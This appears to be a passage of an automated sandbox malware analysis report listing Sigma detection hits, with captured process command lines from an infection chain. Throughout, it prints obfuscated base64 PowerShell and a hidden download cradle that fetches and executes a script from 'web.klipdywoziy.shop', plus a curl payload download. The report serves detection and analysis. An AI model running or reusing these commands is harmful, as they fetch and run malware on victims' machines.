$ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -w 1 "powershell

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw=='))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFC

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7604, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , ProcessId: 7700, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw=='))), CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFC

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7604, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , ProcessId: 7700, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", CommandLine: powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7460, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -w 1 "powershell

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7604, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command "iex ((New-Object System.Net.WebClient).DownloadString('https://web.klipdywoziy.shop/kunnar.png'))" , ProcessId: 7700, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", CommandLine: "C:\Windows\system32\cmd.exe" /k start powershell -w 1 "powershell -enc UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAFcAbwB3ADYANABcAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABcAHYAMQAuADAAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAiAC0AdwAgAGgAaQBkAGQAZQBuACAALQBlAHAAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAIAAtAEMAbwBtAG0AYQBuAGQAIABgACIAaQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AdwBlAGIALgBrAGwAaQBwAGQAeQB3AG8AegBpAHkALgBzAGgAbwBwAC8AawB1AG4AbgBhAHIALgBwAG4AZwAnACkAKQBgACIAIgAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A;. $env:Temp\a.ps1; function KyGYrUUD(){function ezpCMdhGQ($rHPeb){if(!(Test-Path -Path $ThBEXpiVO)){curl (KFbC $rHPeb) -o $ThBEXpiVO}}}KyGYrUUD;", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhN

Sigma detected: Use Short Name Path in Command Line

Source: Process started

